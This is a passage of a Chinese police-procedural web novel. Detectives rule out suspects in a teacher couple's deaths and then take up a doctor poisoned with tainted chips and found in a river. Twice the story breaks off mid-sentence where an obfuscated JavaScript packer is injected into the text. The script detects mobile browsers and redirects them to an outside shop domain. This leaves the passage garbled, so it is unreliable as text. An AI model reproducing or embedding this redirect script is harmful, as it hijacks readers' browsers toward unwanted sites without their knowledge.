“我和老江是师范同学,宿舍上下铺,还是一批分过来的,早就拜了盟兄弟,这认识三十多年,那和亲兄弟也差不多了。当年我家小孩买房子,他还借过我五万块钱呢。” “那你们这关系是真好啊。”敏感捕捉到了关键词,王浩故意说道,“现在找个能借钱的可不容易,亲兄弟姊妹都不一定能借。” 郭强道:“那可不是!借出去的钱那都不是自己的了,不是关系真近的不敢借。也亏老江那人仗义,要不给小孩搁外面凑个首付可真不容易,大城市房子都贵。” 王浩不动声色:“是啊,我听说江老师小孩之前在外面买房,他也借了不少外债。” 郭强点了点头:“欠银行的我不清楚,他找我们这些一共借了二十万,我十万,老张五万,老赵五万。不过他两口子都能挣,平时又会过日子,很快就都给还上了。” 得,那经济纠纷概率再次归零。回头查查银行流水,要是真如他所说,那因财杀人的可能基本就能排除了。王浩暗暗寻思着,嘴里问道:“能借到这么多钱,江老师两口子平时和同事关系都不孬吧?” 郭强肯定道:“那是!就没听他们和谁关系不好过。老江为人仗义,段老师脾气很好,凡事都让着人,就没有不说他们两口子好的。” 他这语气不似作假,就是和江伟华两口子关系太好,反而可能可能干扰判断,得再问问。沉吟了一会,王浩道:“郭老师,江老师两口子的事儿目前还不好说。你再想想,他们真没有什么仇家?或者会不会有人因为他家过得好嫉妒他?” 看他这样,郭强也神色严肃起来。可仔细想了想,他终归还是摇了摇头:“真没有。警察同志,他们两口子都是和气人,和谁说话都客客气气的,我是真想不出能得罪谁。你要说嫉妒,那之前确实有,我有时候都眼馋他家小孩有出息,别说旁人了。可叙叙这一下没了,谁还去嫉妒他?都说他们两口子命苦,可怜还来不及呢。” 这话说得确实没毛病,王浩也有些叹气,“江叙白去世之前,确实有人比较嫉妒他?” 郭强点点头,唏嘘道:“那是啊,谁不说他运气好?一毕业就分配到了区里,第二年就找到了老婆。段老师脾气又好,又会过日子。当时还是计划生育,我们学校连着好几个老师都是生的闺女,就他生了个大胖小子,虽然费了些功夫……”顿了顿,他道,“虽然叙叙小时候老生病,费了些功夫,但是不光长得好,学习还好,有出息。谁能想会出这种事,唉!” 王浩又问道:“那他们两口子呢?感情啥样?” “还行?就和大家都差不多吧。”郭强挠了挠头,“到我们这个年纪,也不和年轻人似的腻歪了,都大差不差的,和亲人差不多。他们两口子还经常出去散散步,应该算比较好的,段老师也比较听老江的。” 倒也和其他人的说法差不多,看来重点还得在那个学生上。这样想着,王浩问道:“那江老师工作上怎么样?有没有可能会是家长来找麻烦?” “那不可能。”郭强断然否决,“老江认真负责那不用说,是我们这里出了名的,带的班基本上都是成绩最好的,还资助过贫困学生,啥丧良心的家长能去找他麻烦啊?” 捕捉到关键信息,王浩赶紧追问:“他资助的学生叫什么?” “短期给垫学费的多了,长期资助的也有俩,你们是想问哪个?”郭强道,“不过也都是之前的了,最近这些年没有了。现在都有钱了,谁家都不差小孩上学的钱。” 王浩道:“您看着都说说吧。还有这个长期资助,是怎么个资助法儿?” 郭强道:“就是初、高中学费生活费都是他掏的。这俩都是小男孩,一个在深市,是个程序员,现在都四十多了,早就成家立业了,平时忙得很,他爹又没了,一年到头也就能回来一次,看看老江就走,你们现在想找他估计难。一个就在咱省会历市,也是三十多了,过年也去看过他两口子呢。” 王浩道:“这俩孩子倒都还厚道,还知道来看看。” 郭强道:“可不?不过也是因为老江确实尽心。赵军,就是在深市那个程序员,家里是真穷啊。他爹是个瘸子,家里又穷成那样,谁都不愿意跟,好容易攒了点钱,托人从西南买来个媳妇。后来生了孩子,他爹看得就松了,那他娘这不就跑了?跑的时候还把他家里钱都卷走了,他爹气得中了风,就瘫在床上了,全靠着亲戚补贴才没饿死。这小孩吃着百家饭长大的,本来初二就要辍学跟着亲戚去打工,要不是老江好劝歹劝,自己出钱供了他这五六年,那就真进厂子打螺丝去了。” 听到买媳妇这里,高文忍不住撇了一下嘴,被王浩用胳膊肘子一拐,才翻了个白眼,继续记着笔录。王浩和郭强闲聊似的,感慨道:“那怪不得,江老师这是他再生父母啊!” 郭强道:“所以啊,将心比心,也怪不得这孩子拿他当亲爹看。当时老江给叙叙买房,这孩子还背着媳妇偷偷给他塞了十万块钱,给装在了坚果盒子里提过去的,老江发现之后把他薅回来骂了一顿,才好歹退回去了。当时老江出了事儿,他知道当晚就坐飞机过来了,还给交了十万块钱,要不这一时半会,谁能给凑出来那么多?” 得,赵军的嫌疑也不大了。王浩道:“那在历市的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“以前这样买媳妇买小孩的还真不少,尤其计划生育那几年,买小男孩的可多了。就是你年纪小,家里又是城里的,不知道。”王浩道,“买媳妇的也不少,不说远的,就我们村里,我有个小学同学妈妈就是买来的,那会还小,也不知道,就听他说他姥姥家特别远。后来才知道是从云贵买来的,再往后有了孩子,他爸好像也还行,就认命了。她这算运气好的,那些运气不好的,真没法说。” “运气不好的都早都埋地下了。”高文道,“要我说,就是给人贩子判得太轻了,要是十年起步,哪来这么多人贩子?” “还不是投鼠忌器吗?算了,不说这些。”叹了口气,王浩道,“单看刚才问的这些,如果郭强说的是实话,这俩学生的嫌疑基本就可以排除了。” 大恩如大仇。这种资助学生的事儿,一旦有纠纷,百分之八九十是因为钱,再有就是因为恩人对自己亲生孩子比对自己好而心理不平衡。可两人不仅没要江伟华的钱,还都给他出过钱,尤其赵军甚至还在江叙白买房的时候掏过钱。王涛虽然没出多少,但他确实是手头不宽裕,而且他家里还有母亲,感情寄托也不全在江伟华身上。 高文也认同道:“赵军是个程序员,常年在外不回来。而且他对他那垃圾爹都这么好,别说对他这么大恩情的老师了。深市生活压力大,他现在又是随时可能被优化的年纪,还得和媳妇商议,一下掏出来十万块不容易,不少人对亲爹都不一定愿意掏这个钱,所以我觉得他基本可以排除了。王涛家里有母亲,一般也不会对江伟华产生过强的感情依赖导致仇恨杀人。” 王涛点了点头:“我也这个意思。正好再找他们学校的其他人问问,再让小钱查查车票的来回记录,如果情况属实,那就给徐队汇报一下,这条线基本就可以排除了。” 点了点头,高文戳了小钱,正要说话,忽然车窗被敲了敲:“你好?” 9. 段洁前面流了俩闺女,这才怀上了叙叙 高文一抬头,就看是个五十来岁的大姨,大黑羽绒服,黄围脖,戴副黑框眼镜,看着和和气气的,一脸的不好意思:“小伙子,方便往前点不?我水平不行,离近了车开不出来。” 探出头一看,高文才发现后面已经跟着他停了一排车,大姨和他的车虽然是正常距离,但大姨后面的车离了她不到三十公分,确实不好开出来。他道:“行,大姨,我们也马上就走。” 大姨哎了一声,正要回自己车上,就听王浩笑着说道:“姨,这边的电瓶车碍你事不,要我们给你推一边去吗?” 大姨眼睛一亮,连连点头:“可真是太谢谢啦!不耽误你们的事儿吧?” 王浩笑道:“给大家帮忙就是我们的事儿。” 大姨乐了:“小伙子真会说话,搁哪儿工作啊?” 王浩道:“我们是派出所的,你是咱们区一中的?” 大姨点了点头,指了指手里那桶油:“是啊,今天回来拿点东西。” 估摸着是春节福利,王浩笑道:“哎哟,真巧,您认识段洁段老师不?” 十分震惊,大姨上下打量他们:“段洁真出事了?” 这就是认识了。眼睛一亮,王浩反问:“您这是从哪里听来的?” 大姨显然还没反应过来:“学校里都传呢,我给她打电话也没人接,这是真的?” 王浩道:“哎,您和段老师还挺熟吗?” “我之前和她是邻居,晚上经常和她一起散步。后来叙叙出了事儿,唉,”大姨摇了摇头,叹了口气,“段洁不容易啊,拼了老命才生出来个儿子,这怎么活啊!” 心里一动,王浩道:“段老师孩子生得不容易?” 大姨一顿,含糊道:“女人生孩子是过鬼门关,哪有容易的?” 王浩正色:“姨,不瞒您说,我们就是来核实段老师的事儿,走访排查的。您要知道什么情况,一定和我们说。这么多年同事了,您得帮段老师最后一回啊!” 看出大姨有些犹豫,高文道:“姨,现在段老师两口子都没了,您放心和我们说,我们一定不会向外人透露的。” 看看热情帮忙的王浩,再看看一脸诚恳的高文,大姨叹了口气,说道:“其实也没啥。就是江伟华这人吧,特别大男子主义,还重男轻女。那会不还兴计划生育吗?一家就让生一个。江伟华非要生儿子,段洁前面流了俩闺女,这才怀上了叙叙,那是遭了老罪啊!差点就不能生了。” 这次连王浩都有些震惊:“流了两次胎?” 段洁夫妇好歹都是知识分子。东沭区也是市区,不是什么犄角旮旯的山村,这还能为生儿子流两次产? 大姨重重叹了口气:“是啊,江伟华特别重男轻女,全都是三四个月、能看出来性别了才流的,段洁那可遭了老罪了。后来放开二胎、三胎,江伟华不知道咋想的,忽然又非要再生个儿子。段洁那都五十多了,还流过两次产,哪还生得出来?” 高文听得目瞪口呆:“江伟华年纪比段洁还大吧?他都五十多了,还要再生二胎?” “对啊,那年叙叙都三十二了!”大姨显然也无法理解,“而且你说要真想生,放开二胎的时候他咋不生啊,等到放开了三胎才想起来要生?我们都劝他别折腾了,赶紧给儿子找对象、抱孙子是正经事。结果江伟华偏不,天天看段洁鼻子不是鼻子、眼不是眼的,动不动就凶她,变着法儿找茬和她吵架,也就是段洁脾气好,什么都听他的。” 王浩道:“段老师对江老师还比较包容?” 大姨道:“可不是?段洁的工作是接班接来的,她自己初中都没毕业,平时只能干干后勤,都不能教课。江伟华是正儿八经的师专生,长得又不孬,所以段洁还挺崇拜他的,平时在家里洗衣服做饭都是她干,基本江伟华说啥就是啥,从来不和他大小声。” 王浩道:“听说江老师还资助过学生?” 大姨道:“是啊,资助了好几个呢。他也确实是心好,就是和他过日子不太好受,天天过得紧巴巴的,段洁平时连件衣服都不舍得买。” 王浩道:“照这么说,他们家负担还不小?” 大姨道:“是啊,江伟华长期资助的孩子就俩,那俩孩子也都是好孩子,平时省吃俭用的,寒暑假去工地上当小工、捡瓶子卖,生活费也不用补贴太多,主要是学费。那会还不是义务教育,初高中学杂费、住宿费可不少。不过他们两口子都有工资,江伟华还在外面干辅导班,日子倒也过得下去,但反正也不是多好过。不过段洁也都愿意,我看她天天都还挺高兴的。两口子过日子,一个愿打一个愿挨嘛。” “那是两口子感情还不错?”王浩笑了笑,“那孩子呢,这俩学生对他们啥样?” 大姨道:“挺不错的,反正我看段洁挺高兴,江伟华凶她她也愿意。那俩孩子也都还行,年年都回来看他,也是好心有好报吧。眼看着他家越过越好,谁想着叙叙能出事了啊!” 王浩心中一动:“江老师对学生那么好,江叙白当时又是个小孩,他不吃醋?” 大姨嗐了一声,说道:“叙叙和他爸爸不大亲,就和他妈妈关系好。江伟华不是那种会说的人,他和他妈妈的距离顶多一寸,和他爸能有一尺。不过咱大部分家庭,孩子不也都是有啥事都和妈说,不和爸爸说吗?” 王浩道:“这日子要过得紧巴巴的,顾不上给小孩买些玩具啥的,小孩一般也会不大高兴吧?” 大姨沉吟了一下,才道:“可能也有吧。不过钱的事一般都不和小孩说,叙叙初中就住校了,那俩孩子又都比他大八九岁,恐怕也想不到那方面去。” 王浩嘶了一声:“初中就住校了?” 大姨很自然地点了点头:“是啊,叙叙考上了育才中学,食宿全免,入学成绩是全校第一呢。” 育才是市里最好的私立初中,设施条件、师资和升学率都没得说,经常凭着食宿全免的招牌到处挖好学生。 心道怪不得,王浩道:“那江叙白和那俩孩子关系咋样?” 大姨想了想:“不好不坏吧,应该也不算多熟,反正我没听段洁说过啥。江伟华资助那俩孩子的时候,叙叙还上小学呢,这差着近十岁,他大学、工作又都和那俩孩子不是一个地方,都是一年回一次家的主户,这也谈不上关系咋样吧。” 两人又闲聊了几句,基本得到了想要的答案,王浩向大姨道了谢,顺便和高文帮大姨把领来的米面粮油都给搬到了车上,还帮大姨掉好了头,得到了大姨的连声感谢,并顺带套出了她的姓名。 看大姨走了,高文摸着下巴:“照这么说,江伟华这人也不咋地啊。” 王浩开着车,灵活地避开了逆行的小三轮:“哪有啥纯粹的好人,要不咱得多走访多问问吗?对了,让小钱进内网查查那个大姨,看看姓名和长相能不能对得上,再和车管所那边再核一遍车牌号,确认大姨身份。” “成,我这就和他说。不过照这么说,江伟华那俩学生更没嫌疑了。要真有啥矛盾,也不能一点影儿都没有吧。”高文道:“总不能是他流掉的那俩闺女变了鬼来复仇吧?” 王浩扑哧就笑了:“你咋不去写小说呢?” “那还不是加班加的吗?咱们局因为加班损失了一颗冉冉升起的文曲星啊!”长长打了个哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609773|187615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欠,高文道:“不过照这么说,这江伟华重男轻女不是一般的严重啊。保姆也好,郭强也罢,全都说他看这儿子多要紧。而且这都有一个了,放开二胎还非得再生一个,这也太离谱了吧?” 王浩也点点头:“一般追儿子也就是生出一个就行了,这样的我也还真是头回见,可能是为了上双保险吧。” 叹了口气,高文道:“唉,你说咱查了这么久,一个有嫌疑的都没摸出来。刚才我问了彦子,他说他那边也没啥情况,江叙白车祸的卷宗一看就是个意外,根本不用再翻第二遍。这还能有啥,应该就结案吧?” 王浩道:“看尸检结果吧,我估摸着应该没问题。要是有问题,那可就完犊子咯,咱们遇上高智商变态了。” “你不会是说学霸吧,哪能那么倒霉?”扑哧笑了一声,高文乐了,“诶,你这一说我想起来了,刘主任说尸检弄完了就让小赵把电子版发我来着,我看看收着了没。” 王浩道:“这都快下班的点了,早发你了吧?咱们这都快到单位了,估计小钱早都领来纸质版的了。你手机刚才是不是静音了?” “我去,这都四点半了?”高文打开微信一看,段洁的尸检报告果然已经躺在他的微信里了,同样躺着的还有好几个未接来电,三个小钱的,两个法医小赵的。顾不上给两人回电话,他点开了尸检报告,却半天都没说话。 开车的王浩坐不住了,伸过头来一看:“不会吧?咱们真遇上变态了?” “不是……不算是,是小钱把出行记录发我了。”神情凝重,高文摇了摇头,“尸检没问题。赵军过了年就没回来,王涛中间回来了一次,我在算他是啥时候回来的。” “啥时候啊?” 打开日历,算了好一会,高文长舒了一口气:“不是不是,吓死我了,王涛是他们两口子出事之后回来的。我刚才给算错了,把报案日期想成是出事当天了。” “你小子下回再这么吓人,就给我单身一辈子!”被吓了一大跳,王浩吐槽道,“我还以为真遇上了个高智商变态,寻思着我这嘴也没开过光啊。” “我这不是忙迷糊了,咱都两个星期没休过班了。”高文唉声叹气,“你说这案子办完之后咱能安生一段时间不?我今天晚上还约了人家姑娘吃饭呢。” “应该能吧。”王浩摸了摸下巴,“咱们这儿治安还行,也不能老这么寸。” 眼瞅着要进单位了,高文道:“要不停个车吧,我先上去找彦子和小钱,和他们一起顺一遍材料。” 比了个ok的手势,王浩道:“行,你再和小钱通个气儿,要是他也没啥问题,咱就去和队长汇报吧。” 浑身都充满了干劲,高文十分乐观:“今天说不定能正点下班呢。” *** 刚开完会回来,徐建顺手接过王浩递来的材料:“尸检什么情况?” 王浩道:“一切正常,符合低温冻死的特征,毒理检验没有问题。” “其他的呢,确定了,都没有问题?” 王浩摇头:“没有发现。江伟华夫妇银行流水正常,不存在债务、财产纠纷,夫妻感情正常,两口子也没有明显的社会矛盾。我们怀疑过他资助的两个学生,但通过走访后和交出行记录核查后,也可以排除嫌疑。小唐调取了江叙白的车祸卷宗,也没有发现问题。” 眉头拧了起来,徐建翻着笔录,不知是在想什么。看他这样,王浩心里直打鼓,正反思他们是不是漏了什么,就看唐彦气喘吁吁地跑了进来:“队长,来了个新案子!” 心里都是一惊,就听唐彦说道:“区人民医院有个医生死了。” 10. 段洁夫妇的死确实没有什么疑点,大概是他多…… 当即放下了手里的报告,徐建问道:“什么情况?” 喘着粗气,唐彦道:“尸体是在沭河发现的,一个网红直播冰钓给钓出来的。直播间里人很多,闹得特别大,接警中心已经接到十好几个报警电话了。” 徐建敏锐捉住了重点:“怎么确定是区人民医院的医生的?” 唐彦道:“工作证。派出所已经把尸体拖出来了,口袋里有他的工作证。” 能确定身份是一个良好的开端,徐建松了口气:“现场什么样?派出所把人给疏散了吗?” 提到这个,唐彦忍不住薅了一把头发:“一塌糊涂。这两天升温,本来出去玩的人就多,那个网红一发现尸体,吓得连滚带爬,一脚踩空掉进河里了,抓着尸体乱扑腾,扯着嗓子嗷嗷地叫唤,把人全都给引过去了,河岸上全是看热闹的,脚印到处都是,踩得乱七八糟的。等沭河派出所接到报警赶过去,早就不成样了。” “那个网红呢,没出事吧?”一个头两个大,徐建问道:“尸体什么样?没给他破坏吧?” “尸体状况不太好,”摇了摇头,唐彦道:“那个网红倒没事,被几个钓鱼的大哥拿钓竿拽上来了。” “给派出所打个招呼,让他们这一阵注意着点。这才零下三四度,万一有不要命的再跟风去冰钓,掉进去淹死了怎么办?”眉头拧了起来,徐建道,“照这么说,现场估计够呛,都有个心理准备,过去看看怎么办吧。” “查监控就行,河堤上都有监控。”王浩提议道,“队长,我在沭河派出所实习过,那边监控都是新的,去年听他们所长说都是秋天才刚装上的,非常好使。” 看徐建看过来,唐彦苦笑:“那段太偏了,监控还没安上。本来说要装的,结果这不连着下了好几次大雪,就给停工了,说是等天暖和了再继续装,结果就出事了。” “……”这波实在是老天不佑人民警察。王浩眼前一黑,一下望见了至少一周的加班生涯。 徐建倒是没再说什么:“没有就没有,也不能太依赖监控。之前都没监控,难道就不破案了吗?法医通知了吗?” 唐彦道:“刘主任已经带着人下去了。” 徐建道:“那咱们也走,叫上小高,现在就去吧。” 为高文今晚的相亲点蜡,王浩道:“队长,那江伟华夫妇的案子?” 沉吟了一会,徐建道:“先放这儿,我再看看。” 点了点头,王浩心里有数了:“明白。” *** 冬雪初融,河岸边已经有了初春复苏的气息。 徐建和刘主任坐了前面那辆车,共同讨论案情,打工的牛马在后面的车上摸鱼。 用胳膊肘子拐了一下沮丧的高文,王浩问道:“咋样,你和人家姑娘说了吗?” 自打上车就蔫蔫的,高文唉声叹气:“说了,她没回我,百分之百是凉了。” 根据他十多次的失败经验,女生说没事就是最大的事,不回就是要黄。何况这都第二次放人家鸽子了,脾气再好的女生也不搭理他了啊。 王浩立刻出主意:“你给她截个图啊。” “截了,我上次就截了。”高文苦着脸,“上次江伟华那案子一出来,我和人家姑娘说的时候,人家都找人换好课了,我那是好说歹说啊,只差把徐队的话录给她了,她才说那下次吧。这回一忙起来消失了好几天,我妈说人家不理我了她都没话说,结果人家答应了,我又又放了人家鸽子,那这不完犊子了吗?” 嘶了一声,王浩道:“你说你咋这么寸呢?自从相到不错的女生,局里不是这事就是那事,咱平时也没忙到这份上过啊?” 在前面开车的唐彦插了一嘴:“没事,说明不是正缘。说不定等会你一下车,真正的桃花就在那儿等着你呢。” 唉了一声,高文道:“算了,甭提这事了,能啥样啥样吧。彦子,这案子啥情况啊?” 提起这个,唐彦忍不住吐槽道:“可别提了,你说那网红胆小吧,这个天他敢去搞冰钓,纯纯嫌命长。你说他胆大吧,一看钓上来具尸体,吓得一头就栽水里了,回头被人救上来,看着自己正抓着尸体,豁,当场就吓晕过去了。” “这都是啥玩意啊!自己不要命,还耽误别人的命。监控坏了,现场又踩得乱七八糟,这案子就指着尸体呢。”听得都头大,高文道,“就不怕半夜鬼站床头朝他索命啊!” “还是祈祷祈祷别是个凶杀案吧。”打开天气预报,王浩看了一眼温度,叹了口气,“要真是个凶杀案,那可真完犊子了。这两天都是个大晴天,雪一化,得,啥都没了。” 说话间,新修好的桑塔纳发出粗重的刹车声,两车警察在路边下了车,河堤四周已经围起了警戒线。 打眼一看,徐建就觉得唐彦的表述还是太保守了,现场何止是乱七八糟,用惨不忍睹来形容都不过分—— 在不甚明亮的路灯下,白天融化的雪水将泥地冲出道道沟壑,鞋印层层叠叠,河堤硬化的水泥路上全是沾了泥的脚印,在零下七八度的夜里冻得梆硬,两个现勘打着强光手电筒,正蹲在地上努力寻找物证,旁边担架上用白布蒙着一具尸体,周围还有零零散散的围观群众在看热闹。 见区分局的领导过来了,沭河派出所的所长李洪迎上来,在寒冷的冬夜呼出了一口白气:“徐队,刘主任。” 嗯了一声,徐建问道:“什么情况?” 李洪苦笑了一声,“徐队,现场您也看到了,不是我们推卸责任,实在是今天河堤人太多了,那发现的又是个网红,我们接到报案出警就已经踩成这样了。尸体被抓了好几下,状况也不太好。夜里太黑,现勘看不清楚,目前就是问询了那个冰钓的网红和目击者,最大限度地保护现场,再有就是上报等您过来了。” 虽然早有心理准备,但刘主任上前解开白布,还是忍不住皱了眉。死者已经再次结冰,身高初步估计在一米七二。因为是冬天,倒没有发烂发臭,外观还算完好,但四肢摇摇欲坠,右胳膊更是像是庞大的机器上脱落的零件,眼看就要掉下来了,颈部更是出现了触目惊心的折断痕迹。 看他脸色不好,李洪苦笑:“这是那个网红弄的。发现了尸体之后,他吓得赶紧往岸上跑,但一着急就打滑跌进了河里。人嘛,落水本来就会紧张,他又不会游泳,急得拽着尸体上下扑腾。岸上的群众也是好心,都想着救人,乱七八糟的,钓鱼竿子对着尸体打了好几下,就成这样了。” 狠狠拧着眉头,刘主任道:“不是我们要求高,李所,你们这给我们工作上了很大难度啊!” 自知理亏,李洪讷讷不敢说话,徐建打了个圆场,“咱看看现在怎么办吧,死者家属通知了吗?” 李洪连忙道:“通知了通知了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609774|187615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,家属已经认过尸了,都在后面等着呢。” 徐建往后面一看,就见一对年纪在六十上下的老夫妇正哭得肝肠寸断,明白多半就是死者父母了。旁边还有两名女子,看着都不过二十六七岁,右边的女生戴着一顶米色的帽子,咬牙切齿的,不知在说什么;左边的女生虽然也是长相平平,但十分高挑,看着至少一米七五,身量又瘦,整体看起来赏心悦目,但是神色却十分淡漠,并没有什么伤心之色。 李洪介绍道:“死者喻健是区人民医院的医生。那老两口是他的父母,也都是区医院的医生,已经退休了。戴米色帽子的是他老婆,高个的是他妹妹,都是老师。”压低了声,他又补充了一句,“他老婆是市局刘国涛副局长的外甥女。” 刘局不直接分管刑侦,不过市里开会的时候也都见过。格外看了那米色帽子的女生一眼,徐建点了点头:“行,夜里冷,风又大,先带死者家属回派出所吧。今天晚上黑成这样,现勘也提取不来什么,让大家先回去,留两个守着现场就行。其他人该做笔录做笔录,该值班值班,其他的明天早上再继续。笔录走内网发个传真,我回去先看材料。” 这就是脱手了,李洪如释重负:“好嘞。” *** 将近十二点,窗户外漆黑一片,唯余北风在冬夜呼号。 看着桌子上的材料,徐建忍不住又点了一根烟。 江伟华夫妇的案子总让他隐隐感觉哪里不对,可又找不到哪怕一丁点证据。走访笔录来回翻了三四遍,所有嫌疑对象的出行记录也都过了两三回,他不死心地到处找疑点,却依旧一无所获。 案子再次回到原点,他直觉江家一家三口的死有某种内在联系,可西南省传来的卷宗干干净净,并不支持他的推测。 夫妻中任何一方死亡死亡,配偶都是第一嫌疑人。江叙白的死,要查就必然绕不开林清音,可是她没有任何杀死丈夫的理由。多少夫妻同床异梦,但死撑着就是不离婚,就是因为利益深度捆绑,为孩子也好,为其他也罢,简单来说,就是离不起。对林清音来说,江叙白的死实在是有百害而无一利。房子的事姑且不提,好好的头婚变二婚,除了江叙白父母,她是这场车祸最大的受害者。 林清音的表现也确实没有任何异常:对江叙白有感情但不多,情绪更多来自于利益受损,很符合她说的大龄男女相亲认识、类似合伙人的夫妻关系。 虽然他总觉得江家一家三口的死有些蹊跷,可也只是觉得,至少目前看确实没有什么疑点,尤其是江叙白。现在治安越来越好,破获命案越来越显功劳,没有警察不想破命案。夫妻中任何一方死亡,警方都会首先怀疑配偶,这种嫌疑人范围无限小的案件属于最好破的那一种。江叙白车祸的发生地虽然偏远,可警察到底也不是摆设。如果江叙白的死有任何疑点,林清音就不会好端端地呆在这里了。 “徐队,有情况,喻健体内发现了……”王浩火急火燎地推开门,却一眼看见了徐建桌子上翻开的笔录,顿时刹住了声:“徐队,这……” 这大半夜的,徐队怎么还在看江伟华的案子?不会真有啥情况吧? 揉了揉眉心,徐建道:“我这就出去,让小唐写个结案报告吧。” 基层警力有限,不可能因为他没有凭据的感觉就无限地查下去。段洁夫妇的死确实没有什么疑点,大概是他多心了。 11. 约了两周都没见上的面,在派出所见上了^^…… “喻健胃糜里验出来了□□。他是在药物作用下产生了幻觉,最终跌入水中溺死。” 顿时变了脸色,徐建霍然起身:“喻健吸毒?” 沭市这几年发展不错,不少人手里都有了闲钱,于是就天天开始琢磨这个琢磨那个,禁毒方面的工作越抓越紧。无论什么案子,一旦涉毒那就属于重案要案,可就不是他们分局能管的了。 王浩摇了摇头,“不算。虽然也会上瘾致幻,但严格来讲并不算□□,充其量只能算是合成的残次品,而且也没有经过后续处理去除其中的有毒成分。” 徐建的眉头依然拧起:“也就是说,喻健就算不掉进水里淹死,也早晚会被毒死?” 下毒的人是一定要他死啊! 王浩点了点头:“对。” 徐建问:“询问过喻健父母没有,他有没有吸毒史?” “询问过了,都说没有。而且老两口反应非常激烈,说他们儿子是个老实孩子,不可能碰这些东西。” “父母眼里的孩子都是挺乖的,这个再查查吧,先问问喻健有没有和谁结仇。现在有没有发现他是怎么被投毒的?” “发现了,在喻健挎包里一盒已开封的薯片里检验出了相同成分,初步可以断定是通过薯片投毒。” 徐建一下就抓住了重点:“也就是说,不能确定下毒时间?” 毒品致幻发作很快。如果是水的话,尚且有据可查,毕竟很少有人会把水放上两三天都不喝,可零食就难度很大了,谁都说不好喻健什么时候会吃这盒薯片。 深吸了一口气,王浩显然也明白棘手之处:“暂时无法确定。” “那死亡时间呢,死亡时间是什么时候?” 这个好说,王浩立马回答道:“三天前,2月21号。” “三天都够凶手处理掉现场制毒的痕迹了。”徐建道,“好好的人不见了,这么多天喻家就没报案?” “第二天早晨报的案。喻健当天晚上其实就下班了,但他和他老婆说来了个急症病人,他得值夜班。于是他老婆也没多想,结果第二天单位看他直到中午都没来上班,电话也打不通,给他家里打了电话,这才发现了不对劲。” 徐建皱了眉:“晚上骗老婆值夜班——喻健有婚外情?” 王浩道:“我们也觉得。小钱已经开始着手调查喻健死亡当天的行踪了。” 徐建道:“喻健老婆是干什么的?” “老师。”见徐建脸色微变,王浩连忙补充道,“政治老师,不是教化学的。她和喻健的妹妹喻淑在一个高中上的学,两人就在隔壁班。我们问了一嘴,喻健老婆是妥妥的文科生,数理化常年不及格的那种。” “那先排查喻健是否有吸毒史,医院的正式员工每年都会有一次体检,如果吸毒,血检报告肯定有发现。如果没有,那就优先调查同事。“徐建沉吟了一会,“□□虽然简单,但是也需要有一定的化学基础。除了喻健老婆,喻健医院的同事是最有嫌疑的。” 王浩也明白:“是。” *** “健健啊!我的儿子啊!” 想想徐建的指示,看看哭得死去活来的喻家老两口,再看看一边咬牙切齿地咒骂喻健,一边哭得眼睛通红的米色帽子女生,高文一筹莫展。见那个高个子女生的情绪还比较平静,他礼貌上前问道:“你好,请问你是?” 指了指喻家老两口,高个子女生道:“我是他们女儿。” 她这么一站,高文才发现她穿着高跟鞋几乎与他一样高。他净高181,这女生得多高啊? 挠了挠头,他道:“噢噢,那你是喻健的妹妹了?方便先配合我们做个笔录吗?” 听他的话,高个子女生表情似乎有些奇怪,说不清是厌恶还是什么。但她还是点了点头,“好。” 沭河派出所不大,年代又久,询问室破破烂烂,连门都关不上,好在还算暖和。唐彦抱着本子在旁记录,高文清了清嗓子,就开始问话:“姓名?” 高个子女生声音平淡:“喻淑。” “哈?”高文嗖一下抬起了头,手里的笔“啪”一下掉了,“你叫喻淑?” 喻淑有些奇怪,但还是点了点头:“是啊,比喻的喻,窈窕淑女的淑。” 高文的笑有些僵硬:“那个,你是市一中的老师吗?” “你……我们认识吗?”喻淑有些愕然,忍不住上下打量他。 “呃,”努力保持微笑,高文心里一万头曹尼玛飞奔而过。 ——两周都没见上的面,居然在派出所见上了? 同样目瞪口呆,唐彦小声道:“这不会就是你的相亲对象吧?” 纠结是表明身份比较好,还是装作不认识比较好,高文天人交战间,一个实习警大喇喇拎着袋黄焖鸡米饭进来了,在夹道里大声吆喝道:“高文?谁是高文?外卖到了!” ……悄悄是离别的笙箫,沉默是今晚的康桥。 虽然看得出来已经在竭力克制,但喻淑的眼角还是很明显地抽了抽,显然也没想到今晚会这么抓马。 高文声音干巴巴的,“那个,我今天晚上是真的突然有事,我快下班的时候刚知道的。” 好消息,苍天在上,在场的所有人都能证明他不是故意放人家姑娘鸽子;坏消息,姑娘是受害人家属,而且根据她的现场表现来看,甚至还有可能是嫌疑人。 受害人家属兼预备嫌疑人喻淑表答了对公安事业十二分的理解:“没事,我也刚知道。” 摸了摸鼻子,高文道:“那个,你节哀。” 虽然并不哀,但喻淑还是礼貌回应道:“谢谢。” 能说的话都说完了,两人大眼瞪小眼,一时陷入尴尬的沉默。 最后还是唐彦拯救了他:“文儿,既然你俩认识,那咱就不适合给她做笔录了,让派出所这边来吧。” 